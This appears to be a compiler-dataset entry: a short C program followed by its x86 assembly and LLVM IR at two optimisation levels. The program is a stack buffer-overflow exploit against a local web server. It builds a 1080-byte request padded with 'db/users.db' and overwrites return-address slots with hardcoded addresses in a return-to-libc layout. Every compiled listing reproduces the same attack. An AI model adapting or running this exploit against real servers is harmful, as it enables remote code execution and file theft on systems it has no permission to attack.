#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int atoi(char *);
int /*<<< orphan*/ close(int);
scalar_t__ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
scalar_t__ read(int, char *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ write(int, char *, int);
int main(int argc, char *argv[]) {
  int port = 80;
  if (argc > 1)
    port = atoi(argv[1]);
  int sock_client = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in addr;
  memset(&addr, 0, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    perror("connect");
    exit(1);
  }
  printf("sock_client = %d\n", sock_client);
  char *req = "GET / HTTP/1.1\r\n\r\n";
  int i;
  char attack_req[1080];
  long *retaddr = (long *)attack_req;
  for (i = 0; i < 1064; i++) {
    attack_req[i++] = 'd';
    attack_req[i++] = 'b';
    attack_req[i++] = '/';
    attack_req[i++] = 'u';
    attack_req[i++] = 's';
    attack_req[i++] = 'e';
    attack_req[i++] = 'r';
    attack_req[i++] = 's';
    attack_req[i++] = '.';
    attack_req[i++] = 'd';
    attack_req[i++] = 'b';
    attack_req[i] = '\0';
  }
  retaddr[266] = 0xb7ef12e0;
  retaddr[268] = 0xbfffee94;
  attack_req[269 * 4] = '\r';
  attack_req[269 * 4 + 1] = '\n';
  attack_req[269 * 4 + 2] = '\r';
  attack_req[269 * 4 + 3] = '\n';
  write(sock_client, attack_req, 1080);
  char resp[1024];
  int num = 0;
  while (read(sock_client, &resp[num], 1))
    num++;
  resp[num] = 0;
  printf("Response = %s\n", resp);
  close(sock_client);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x890,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x50,-0x14(%rbp)
cmpl   $0x1,-0x8(%rbp)
jle    11fa <main+0x3a>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   10b0 <atoi@plt>
mov    %eax,-0x14(%rbp)
mov    0x2de7(%rip),%rax
mov    (%rax),%edi
mov    0x2dce(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10e0 <socket@plt>
mov    %eax,-0x18(%rbp)
lea    -0x28(%rbp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1060 <memset@plt>
mov    0x2dbb(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    -0x14(%rbp),%edi
call   1040 <htons@plt>
mov    %eax,-0x24(%rbp)
lea    0xdbc(%rip),%rdi
call   1090 <inet_addr@plt>
mov    %eax,-0x28(%rbp)
mov    -0x18(%rbp),%edi
lea    -0x28(%rbp),%rsi
mov    $0xc,%edx
call   10d0 <connect@plt>
cmp    $0x0,%rax
jge    127d <main+0xbd>
lea    0xd9c(%rip),%rdi
call   10a0 <perror@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    -0x18(%rbp),%esi
lea    0xd8b(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd8f(%rip),%rax
mov    %rax,-0x30(%rbp)
lea    -0x470(%rbp),%rax
mov    %rax,-0x478(%rbp)
movl   $0x0,-0x34(%rbp)
cmpl   $0x428,-0x34(%rbp)
jge    13bc <main+0x1fc>
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x64,-0x470(%rbp,%rax,1)
64
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x62,-0x470(%rbp,%rax,1)
62
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x2f,-0x470(%rbp,%rax,1)
2f
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x75,-0x470(%rbp,%rax,1)
75
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x73,-0x470(%rbp,%rax,1)
73
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x65,-0x470(%rbp,%rax,1)
65
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x72,-0x470(%rbp,%rax,1)
72
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x73,-0x470(%rbp,%rax,1)
73
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x2e,-0x470(%rbp,%rax,1)
2e
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x64,-0x470(%rbp,%rax,1)
64
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
movb   $0x62,-0x470(%rbp,%rax,1)
62
movslq -0x34(%rbp),%rax
movb   $0x0,-0x470(%rbp,%rax,1)
mov    -0x34(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x34(%rbp)
jmp    12ae <main+0xee>
mov    -0x478(%rbp),%rax
mov    $0xb7ef12e0,%ecx
mov    %rcx,0x850(%rax)
mov    -0x478(%rbp),%rax
mov    $0xbfffee94,%ecx
mov    %rcx,0x860(%rax)
movb   $0xd,-0x3c(%rbp)
movb   $0xa,-0x3b(%rbp)
movb   $0xd,-0x3a(%rbp)
movb   $0xa,-0x39(%rbp)
mov    -0x18(%rbp),%edi
lea    -0x470(%rbp),%rsi
mov    $0x438,%edx
call   1030 <write@plt>
movl   $0x0,-0x884(%rbp)
mov    -0x18(%rbp),%edi
movslq -0x884(%rbp),%rax
lea    -0x880(%rbp),%rsi
add    %rax,%rsi
mov    $0x1,%edx
call   1080 <read@plt>
cmp    $0x0,%rax
je     144c <main+0x28c>
mov    -0x884(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x884(%rbp)
jmp    1410 <main+0x250>
movslq -0x884(%rbp),%rax
movb   $0x0,-0x880(%rbp,%rax,1)
lea    -0x880(%rbp),%rsi
lea    0xbce(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x18(%rbp),%edi
call   1070 <close@plt>
xor    %eax,%eax
add    $0x890,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x858,%rsp
mov    $0x50,%ebp
cmp    $0x2,%edi
jl     11e2 <main+0x22>
mov    0x8(%rsi),%rdi
call   10b0 <atoi@plt>
mov    %eax,%ebp
mov    0x2dff(%rip),%r15
mov    (%r15),%edi
mov    0x2de5(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10e0 <socket@plt>
mov    %eax,%ebx
mov    %rsp,%r14
mov    %r14,%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1060 <memset@plt>
mov    (%r15),%eax
mov    %eax,0x8(%rsp)
mov    %ebp,%edi
call   1040 <htons@plt>
mov    %eax,0x4(%rsp)
lea    0xdd7(%rip),%rdi
call   1090 <inet_addr@plt>
mov    %eax,(%rsp)
mov    %ebx,%edi
mov    %r14,%rsi
mov    $0xc,%edx
call   10d0 <connect@plt>
test   %rax,%rax
js     1319 <main+0x159>
lea    0xdc2(%rip),%rdi
mov    %ebx,%esi
xor    %eax,%eax
call   1050 <printf@plt>
mov    $0xfffffffffffffff4,%rax
movabs $0x73726573752f6264,%rcx
65 72 73
nopw   0x0(%rax,%rax,1)
mov    %rcx,0x1c(%rsp,%rax,1)
movl   $0x62642e,0x24(%rsp,%rax,1)
add    $0xc,%rax
cmp    $0x41c,%rax
jb     1270 <main+0xb0>
mov    $0xb7ef12e0,%eax
mov    %rax,0x860(%rsp)
add    $0x810dbb4,%rax
mov    %rax,0x870(%rsp)
movl   $0xa0d0a0d,0x444(%rsp)
0d 0a 0d 0a
lea    0x10(%rsp),%rsi
mov    %ebx,%edi
mov    $0x438,%edx
call   1030 <write@plt>
lea    0x450(%rsp),%rbp
nopl   0x0(%rax,%rax,1)
mov    %ebx,%edi
mov    %rbp,%rsi
mov    $0x1,%edx
call   1080 <read@plt>
add    $0x1,%rbp
test   %rax,%rax
jne    12d0 <main+0x110>
movb   $0x0,-0x1(%rbp)
lea    0xd31(%rip),%rdi
lea    0x450(%rsp),%rsi
xor    %eax,%eax
call   1050 <printf@plt>
mov    %ebx,%edi
call   1070 <close@plt>
xor    %eax,%eax
add    $0x858,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xcea(%rip),%rdi
call   10a0 <perror@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [10 x i8] c"127.0.0.1\00"
@.str.1 = [8 x i8] c"connect\00"
@.str.2 = [18 x i8] c"sock_client = %d\0A\00"
@.str.3 = [19 x i8] c"GET / HTTP/1.1\0D\0A\0D\0A\00"
@.str.4 = [15 x i8] c"Response = %s\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca %struct.sockaddr_in
%9 = alloca i8*
%10 = alloca i32
%11 = alloca [1080 x i8]
%12 = alloca i64*
%13 = alloca [1024 x i8]
%14 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 80, i32* %6
%15 = load i32, i32* %4
%16 = icmp sgt i32 %15, 1
br i1 %16, label %17, label %22
17: ; preds = %2
%18 = load i8**, i8*** %5
%19 = getelementptr inbounds i8*, i8** %18, i64 1
%20 = load i8*, i8** %19
%21 = call i32 @atoi(i8* %20)
store i32 %21, i32* %6
br label %22
22: ; preds = %17, %2
%23 = load i32, i32* @AF_INET
%24 = load i32, i32* @SOCK_STREAM
%25 = call i32 @socket(i32 %23, i32 %24, i32 0)
store i32 %25, i32* %7
%26 = call i32 @memset(%struct.sockaddr_in* %8, i32 0, i32 12)
%27 = load i32, i32* @AF_INET
%28 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 2
store i32 %27, i32* %28
%29 = load i32, i32* %6
%30 = call i32 @htons(i32 %29)
%31 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 1
store i32 %30, i32* %31
%32 = call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
%33 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 0
%34 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %33, i32 0, i32 0
store i32 %32, i32* %34
%35 = load i32, i32* %7
%36 = bitcast %struct.sockaddr_in* %8 to %struct.sockaddr*
%37 = call i64 @connect(i32 %35, %struct.sockaddr* %36, i32 12)
%38 = icmp slt i64 %37, 0
br i1 %38, label %39, label %42
39: ; preds = %22
%40 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%41 = call i32 @exit(i32 1)
unreachable
42: ; preds = %22
%43 = load i32, i32* %7
%44 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.2, i64 0, i64 0), i32 %43)
store i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0), i8** %9
%45 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 0
%46 = bitcast i8* %45 to i64*
store i64* %46, i64** %12
store i32 0, i32* %10
br label %47
47: ; preds = %98, %42
%48 = load i32, i32* %10
%49 = icmp slt i32 %48, 1064
br i1 %49, label %50, label %101
50: ; preds = %47
%51 = load i32, i32* %10
%52 = add nsw i32 %51, 1
store i32 %52, i32* %10
%53 = sext i32 %51 to i64
%54 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %53
store i8 100, i8* %54
%55 = load i32, i32* %10
%56 = add nsw i32 %55, 1
store i32 %56, i32* %10
%57 = sext i32 %55 to i64
%58 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %57
store i8 98, i8* %58
%59 = load i32, i32* %10
%60 = add nsw i32 %59, 1
store i32 %60, i32* %10
%61 = sext i32 %59 to i64
%62 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %61
store i8 47, i8* %62
%63 = load i32, i32* %10
%64 = add nsw i32 %63, 1
store i32 %64, i32* %10
%65 = sext i32 %63 to i64
%66 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %65
store i8 117, i8* %66
%67 = load i32, i32* %10
%68 = add nsw i32 %67, 1
store i32 %68, i32* %10
%69 = sext i32 %67 to i64
%70 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %69
store i8 115, i8* %70
%71 = load i32, i32* %10
%72 = add nsw i32 %71, 1
store i32 %72, i32* %10
%73 = sext i32 %71 to i64
%74 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %73
store i8 101, i8* %74
%75 = load i32, i32* %10
%76 = add nsw i32 %75, 1
store i32 %76, i32* %10
%77 = sext i32 %75 to i64
%78 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %77
store i8 114, i8* %78
%79 = load i32, i32* %10
%80 = add nsw i32 %79, 1
store i32 %80, i32* %10
%81 = sext i32 %79 to i64
%82 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %81
store i8 115, i8* %82
%83 = load i32, i32* %10
%84 = add nsw i32 %83, 1
store i32 %84, i32* %10
%85 = sext i32 %83 to i64
%86 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %85
store i8 46, i8* %86
%87 = load i32, i32* %10
%88 = add nsw i32 %87, 1
store i32 %88, i32* %10
%89 = sext i32 %87 to i64
%90 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %89
store i8 100, i8* %90
%91 = load i32, i32* %10
%92 = add nsw i32 %91, 1
store i32 %92, i32* %10
%93 = sext i32 %91 to i64
%94 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %93
store i8 98, i8* %94
%95 = load i32, i32* %10
%96 = sext i32 %95 to i64
%97 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 %96
store i8 0, i8* %97
br label %98
98: ; preds = %50
%99 = load i32, i32* %10
%100 = add nsw i32 %99, 1
store i32 %100, i32* %10
br label %47
101: ; preds = %47
%102 = load i64*, i64** %12
%103 = getelementptr inbounds i64, i64* %102, i64 266
store i64 3085898464, i64* %103
%104 = load i64*, i64** %12
%105 = getelementptr inbounds i64, i64* %104, i64 268
store i64 3221221012, i64* %105
%106 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 1076
store i8 13, i8* %106
%107 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 1077
store i8 10, i8* %107
%108 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 1078
store i8 13, i8* %108
%109 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 1079
store i8 10, i8* %109
%110 = load i32, i32* %7
%111 = getelementptr inbounds [1080 x i8], [1080 x i8]* %11, i64 0, i64 0
%112 = call i32 @write(i32 %110, i8* %111, i32 1080)
store i32 0, i32* %14
br label %113
113: ; preds = %120, %101
%114 = load i32, i32* %7
%115 = load i32, i32* %14
%116 = sext i32 %115 to i64
%117 = getelementptr inbounds [1024 x i8], [1024 x i8]* %13, i64 0, i64 %116
%118 = call i64 @read(i32 %114, i8* %117, i32 1)
%119 = icmp ne i64 %118, 0
br i1 %119, label %120, label %123
120: ; preds = %113
%121 = load i32, i32* %14
%122 = add nsw i32 %121, 1
store i32 %122, i32* %14
br label %113
123: ; preds = %113
%124 = load i32, i32* %14
%125 = sext i32 %124 to i64
%126 = getelementptr inbounds [1024 x i8], [1024 x i8]* %13, i64 0, i64 %125
store i8 0, i8* %126
%127 = getelementptr inbounds [1024 x i8], [1024 x i8]* %13, i64 0, i64 0
%128 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.4, i64 0, i64 0), i8* %127)
%129 = load i32, i32* %7
%130 = call i32 @close(i32 %129)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [10 x i8] c"127.0.0.1\00"
@.str.1 = [8 x i8] c"connect\00"
@.str.2 = [18 x i8] c"sock_client = %d\0A\00"
@.str.4 = [15 x i8] c"Response = %s\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca [1080 x i8]
%5 = alloca [1024 x i8]
%6 = icmp sgt i32 %0, 1
br i1 %6, label %7, label %11
7: ; preds = %2
%8 = getelementptr inbounds i8*, i8** %1, i64 1
%9 = load i8*, i8** %8
%10 = tail call i32 @atoi(i8* %9)
br label %11
11: ; preds = %7, %2
%12 = phi i32 [ %10, %7 ], [ 80, %2 ]
%13 = load i32, i32* @AF_INET
%14 = load i32, i32* @SOCK_STREAM
%15 = tail call i32 @socket(i32 %13, i32 %14, i32 0)
%16 = bitcast %struct.sockaddr_in* %3 to i8*
%17 = call i32 @memset(%struct.sockaddr_in* %3, i32 0, i32 12)
%18 = load i32, i32* @AF_INET
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %18, i32* %19
%20 = call i32 @htons(i32 %12)
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1
store i32 %20, i32* %21
%22 = call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
%23 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0, i32 0
store i32 %22, i32* %23
%24 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%25 = call i64 @connect(i32 %15, %struct.sockaddr* %24, i32 12)
%26 = icmp slt i64 %25, 0
br i1 %26, label %27, label %30
27: ; preds = %11
%28 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%29 = call i32 @exit(i32 1)
unreachable
30: ; preds = %11
%31 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @.str.2, i64 0, i64 0), i32 %15)
%32 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 0
br label %33
33: ; preds = %30, %33
%34 = phi i64 [ 0, %30 ], [ %58, %33 ]
%35 = or i64 %34, 1
%36 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %34
store i8 100, i8* %36
%37 = or i64 %34, 2
%38 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %35
store i8 98, i8* %38
%39 = or i64 %34, 3
%40 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %37
store i8 47, i8* %40
%41 = add nuw nsw i64 %34, 4
%42 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %39
store i8 117, i8* %42
%43 = add nuw nsw i64 %34, 5
%44 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %41
store i8 115, i8* %44
%45 = add nuw nsw i64 %34, 6
%46 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %43
store i8 101, i8* %46
%47 = add nuw nsw i64 %34, 7
%48 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %45
store i8 114, i8* %48
%49 = add nuw nsw i64 %34, 8
%50 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %47
store i8 115, i8* %50
%51 = add nuw nsw i64 %34, 9
%52 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %49
store i8 46, i8* %52
%53 = add nuw nsw i64 %34, 10
%54 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %51
store i8 100, i8* %54
%55 = add nuw nsw i64 %34, 11
%56 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %53
store i8 98, i8* %56
%57 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 %55
store i8 0, i8* %57
%58 = add nuw nsw i64 %34, 12
%59 = icmp ult i64 %34, 1052
br i1 %59, label %33, label %60
60: ; preds = %33
%61 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 1, i64 1048
%62 = bitcast i8* %61 to i64*
store i64 3085898464, i64* %62
%63 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 1, i64 1064
%64 = bitcast i8* %63 to i64*
store i64 3221221012, i64* %64
%65 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 1076
store i8 13, i8* %65
%66 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 1077
store i8 10, i8* %66
%67 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 1078
store i8 13, i8* %67
%68 = getelementptr inbounds [1080 x i8], [1080 x i8]* %4, i64 0, i64 1079
store i8 10, i8* %68
%69 = call i32 @write(i32 %15, i8* %32, i32 1080)
%70 = getelementptr inbounds [1024 x i8], [1024 x i8]* %5, i64 0, i64 0
br label %71
71: ; preds = %71, %60
%72 = phi i64 [ %76, %71 ], [ 0, %60 ]
%73 = getelementptr inbounds [1024 x i8], [1024 x i8]* %5, i64 0, i64 %72
%74 = call i64 @read(i32 %15, i8* %73, i32 1)
%75 = icmp eq i64 %74, 0
%76 = add nuw i64 %72, 1
br i1 %75, label %77, label %71
77: ; preds = %71
store i8 0, i8* %73
%78 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str.4, i64 0, i64 0), i8* %70)
%79 = call i32 @close(i32 %15)
ret i32 0
}